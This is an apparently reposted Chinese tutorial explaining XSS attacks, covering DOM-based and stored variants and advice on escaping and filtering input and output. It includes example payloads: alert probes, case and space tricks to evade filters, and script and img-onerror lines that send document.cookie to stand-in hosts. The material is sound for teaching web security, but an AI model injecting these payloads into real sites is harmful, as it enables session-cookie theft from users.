什么是 XSS 攻擊,如何避免?


XSS 攻擊,即跨站腳本攻擊(Cross Site Scripting),它是 web 程序中常見的漏洞。 
原理
攻擊者往 web 頁面里插入惡意的 HTML 代碼(Javascript、css、html 標簽等),當用戶瀏覽該頁面時,嵌入其中的 HTML 代碼會被執行,從而達到惡意攻擊用戶的目的。如盜取用戶 cookie 執行一系列操作,破壞頁面結構、重定向到其他網站等。 
種類
1、DOM Based XSS:基於網頁 DOM 結構的攻擊
例如:
input 標簽 value 屬性賦值
//jsp
<input type="text" value="<%= getParameter("content") %>">
訪問
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //彈出 XSS 字樣
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把當前頁面的 cookie 發送到 xxxx.aaa.xxx 網站
利用 a 標簽的 href 屬性的賦值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳轉...</a>
訪問
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //點擊 a 標簽就會彈出 XSS 字樣
變換大小寫
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //點擊 a 標簽就會彈出 XSS 字樣
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //點擊 a 標簽就會彈出 XSS 字樣

image 標簽 src 屬性,onload、onerror、onclick 事件中注入惡意代碼
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />

2、Stored XSS:存儲式XSS漏洞
<form action="save.do">
        <input name="content" value="">
</form>
輸入 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>,提交
當別人訪問到這個頁面時,就會把頁面的 cookie 提交到 xxx.aaa.xxx,攻擊者就可以獲取到 cookie

預防思路 
web 頁面中可由用戶輸入的地方,如果對輸入的數據轉義、過濾處理
后台輸出頁面的時候,也需要對輸出內容進行轉義、過濾處理(因為攻擊者可能通過其他方式把惡意腳本寫入數據庫)
前端對 html 標簽屬性、css 屬性賦值的地方進行校驗

 

 

更多免費技術資料可關注:annalin1203


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM